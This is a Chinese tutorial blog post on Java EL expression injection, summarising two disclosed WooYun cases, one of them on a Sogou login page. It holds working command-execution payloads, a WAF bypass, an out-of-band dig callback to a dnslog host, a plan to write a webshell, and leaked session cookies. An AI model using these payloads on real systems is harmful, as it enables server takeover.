zoukankan      html  css  js  c++  java
  • JAVA WEB EL表达式注入

      看猪猪侠以前的洞,顺便总结下:

    一、EL表达式简介

      EL 全名为Expression Language。EL主要作用:
      1、获取数据
        EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
      2、执行运算
        利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
      3、获取web开发常用对象
        EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
      4、调用Java方法
        EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。

    嗯,这段复制的,详细链接:https://www.cnblogs.com/xdp-gacl/p/3938361.html

    检测方式:

      

    https://www.a.com/login?a=${10-9}

     表达式执行会会显在页面上,检查源码。

     

    漏洞利用:

    ${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
    
    ${pageContext.getSession().getServletContext().getClassLoader().getResource("")}   获取web路径
    
    ${header}  文件头参数
    
    ${applicationScope} 获取webRoot
    
    ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}  执行命令
    

      

    渗透思路:获取webroot路径,exec执行命令echo写入一句话。

    乌云案例一:

    详细说明:

    #1 漏洞描述

    EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法

    #2 影响服务器

    http://**.**.**.**/merchant/enterprise/registerComUserForward.jhtml

    #3 Paylod

    code 区域
    groupName=1&papersType=${9999999-444}&papersValue=1&baseacct=1&retMsg=1&retCode=1



    icbc1.jpg

     

    漏洞证明:

    #4 绕过WAF

    code 区域
    http://**.**.**.**/merchant/enterprise/registerComUserForward.jhtml
    companyName=999&groupName=&papersType=${"a9999abbb".toStringu0028u0029}&papersValue=1&baseacct=1&retMsg=1&retCode=1



    tostring.jpg



    #5 回显命令执行

    code 区域
    groupName=1&papersType=${%23a%3du0028new%20java.lang.ProcessBuilderu0028new%20java.lang.String[]{u0027/sbin/ifconfigu0027,u0027-au0027}u0029u0029.startu0028u0029,%23b%3d%23a.getInputStreamu0028u0029,%23c%3dnew%**.**.**.**.InputStreamReaderu0028%23bu0029,%23d%3dnew%**.**.**.**.BufferedReaderu0028%23cu0029,%23e%3dnew%20char[50000],%23d.readu0028%23eu0029,%23ringzero%3d%23context.getu0028u0027com.opensymphony.xwork2.dispatcher.HttpServletResponseu0027u0029,%23ringzero.getWriteru0028u0029.printlnu0028%23eu0029,%23ringzero.getWriteru0028u0029.flushu0028u0029,%23ringzero.getWriteru0028u0029.closeu0028u0029}&papersValue=1&baseacct=1&retMsg=1&retCode=1



    code 区域
    ${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'/sbin/ifconfig','-a'})).start(),#b=#a.getInputStream(),#c=new **.**.**.**.InputStreamReader(#b),#d=new **.**.**.**.BufferedReader(#c),#e=new char[50000],#d.read(#e),#ringzero=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#ringzero.getWriter().println(#e),#ringzero.getWriter().flush(),#ringzero.getWriter().close()}



    code 区域
    eth5      Link encap:Ethernet  HWaddr 00:50:56:97:7A:74  
    inet addr:**.**.**.** Bcast:**.**.**.** Mask:**.**.**.**
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:5603928546 errors:0 dropped:0 overruns:0 frame:0
    TX packets:8131434126 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:735168104896 (701110.9 Mb) TX bytes:11750604019014 (11206249.2 Mb)

    lo Link encap:Local Loopback
    inet addr:**.**.**.** Mask:**.**.**.**
    UP LOOPBACK RUNNING MTU:16436 Metric:1
    RX packets:51371053 errors:0 dropped:0 overruns:0 frame:0
    TX packets:51371053 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:25387430681 (24211.3 Mb) TX bytes:25387430681 (24211.3 Mb)



    ifconfig.png



    #6 列目录

    code 区域
    groupName=1&papersType=${new **.**.**.**.File(u0027/u0027).listFiles()[1]}&papersValue=1&baseacct=1&retMsg=1&retCode=1

     

    修复方案:

    # 表达式不允许来自客户端调用

     

    乌云案例二:

    搜狗某系统存在远程表达式注入漏洞(命令执行)
    EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法

    详细说明:

    #1 漏洞地址

    code 区域
    https://auth.p4p.sogou.com/login?service=${1000-900}



    code 区域
    https://auth.p4p.sogou.com/login?service=${pageContext}
    action="/login?service=com.caucho.jsp.PageContextImpl@2aaf3a58" method="post">



    #2 表达式执行后的结果返回在页面

    expcetion.png



    获取web路径

    ${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

    file:/opt/local/resin/



    code 区域
    https://auth.p4p.sogou.com/login?service=${requestScope}
    {javax.servlet.jsp.jstl.fmt.locale=zh_CN, org.springframework.validation.BindingResult.credentials=org.springframework.webflow.mvc.view.BindingModel: 0 errors, flashScope=map[[empty]], flowExecutionUrl=/login?service=%5BLjava.lang.String%3B%40660b2cde, warnCookieValue=false, javax.servlet.forward.servlet_path=/login, org.springframework.web.servlet.support.RequestContext.CONTEXT=Flow ApplicationContext [login]: startup date [Tue Apr 12 21:38:02 CST 2016]; parent: WebApplicationContext for namespace 'eunomia-servlet', org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, caucho.forward=true, javax.servlet.forward.request_uri=/login, javax.servlet.forward.query_string=service=${requestScope}, loginTicket=LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m, javax.servlet.forward.context_path=, phoneValidationModel=com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel@2da91c3c, org.springframework.web.servlet.FlashMapManager.OUTPUT_FLASH_MAP=[Attributes={}, targetRequestPath=null, targetRequestParams={}], flowRequestContext=[RequestControlContextImpl@4bab0382 externalContext = org.springframework.webflow.mvc.servlet.MvcExternalContext@4873729d, currentEvent = viewAcountLogin, requestScope = map[[empty]], attributes = map[[empty]], messageContext = [DefaultMessageContext@1369c694 sourceMessages = map[[null] -> list[[empty]]]], flowExecution = [FlowExecutionImpl@56c2881 flow = 'login', flowSessions = list[[FlowSessionImpl@7fd72fee flow = 'login', state = 'accountViewLoginForm', scope = map['phoneValidationModel' -> com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel@2da91c3c, 'loginTicket' -> 'LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m', 'service' -> ${requestScope}, 'credentials' -> [username: null], 'warnCookieValue' -> false, 'ticketGrantingTicketId' -> [null], 'viewScope' -> map['commandName' -> 'credentials']]]]]], viewScope=map['commandName' -> 'credentials'], javax.servlet.jsp.jstl.fmt.localizationContext=org.springframework.web.servlet.support.JstlUtils$SpringLocalizationContext@88bf3d4, org.springframework.web.servlet.DispatcherServlet.LOCALE_RESOLVER=org.springframework.web.servlet.i18n.CookieLocaleResolver@1c34e7ae, org.springframework.web.servlet.DispatcherServlet.CONTEXT=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, org.springframework.web.servlet.DispatcherServlet.THEME_RESOLVER=org.jasig.cas.services.web.ServiceThemeResolver@55565ef9, flowExecutionKey=e110s1, service=${requestScope}, commandName=credentials, encodingFilter.FILTERED=true, credentials=[username: null]}





    code 区域
    https://auth.p4p.sogou.com/login?service=${header}
    {Upgrade-Insecure-Requests=1, Accept-Language=zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4, Cookie=SUV=1446734204911570; IPLOC=CN4401; SUID=BA5782774FC80D0A00000000563B6987; pgv_pvi=3484909568; sct=4; LSTMV=703%2C260; LCLKINT=108193; CXID=5CE9FE68778002DCEC30C2A9412EBA10; GOTO=; ad=3wENElllll2Q7p51lllllVtpqM7lllllNcJUWlllll9lllllxTDll5@@@@@@@@@@; _euid=75841017-9d86-4069-9421-d077bd8489ef; JSESSIONID=abcN1iKReDhPacJcOLoqv; session_id_agent_crm=8a089ef7-44bf-493b-81bc-45a327cf03ec, Host=auth.p4p.sogou.com, PROXY_ADDR=10.149.29.104, Accept-Encoding=gzip, deflate, sdch, X-Real-IP=119.130.85.119, X-Forwarded-For=*******, User-Agent=, Connection=close, Accept=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8}

     

    漏洞证明:

    EL表达式参考

    http://www.cnblogs.com/xdp-gacl/p/3938361.html

    利用方式1

    code 区域
    ${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(u0027ifconfigu0027).getInputStream())}



    #3 执行命令

    ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("dig sougou.99fd5e.dnslog.info",null).getInputStream())}



    CloudEYE:

    code 区域
    13-Apr-2016 18:42:50.858 queries: client 208.69.37.21#19674 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)
    13-Apr-2016 18:42:53.876 queries: client 208.69.37.17#53756 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)





    读取 ${sessionScope}, 获取a=InputStream的回显内容,a=java.io.BufferedInputStream@4d778271



    获取WebROOT

    https://auth.p4p.sogou.com/login?service=${applicationScope}

    code 区域
    javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,
    org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext



    然后就用命令向这个目录/opt/app/eunomia/ 写jsp文件了

  • 相关阅读:
    商贸通帐套隐藏方法
    固定资产打开提示:上年度数据未结转!
    ZOJ 2432 Greatest Common Increasing Subsequence
    POJ 1080 Human Gene Functions
    POJ 1088 滑雪
    POJ 1141 Brackets Sequence
    POJ 1050 To the Max
    HDOJ 1029 Ignatius and the Princess IV
    POJ 2247 Humble Numbers
    HDOJ 1181 变形课
  • 原文地址:https://www.cnblogs.com/junsec/p/11132652.html
Copyright © 2011-2022 走看看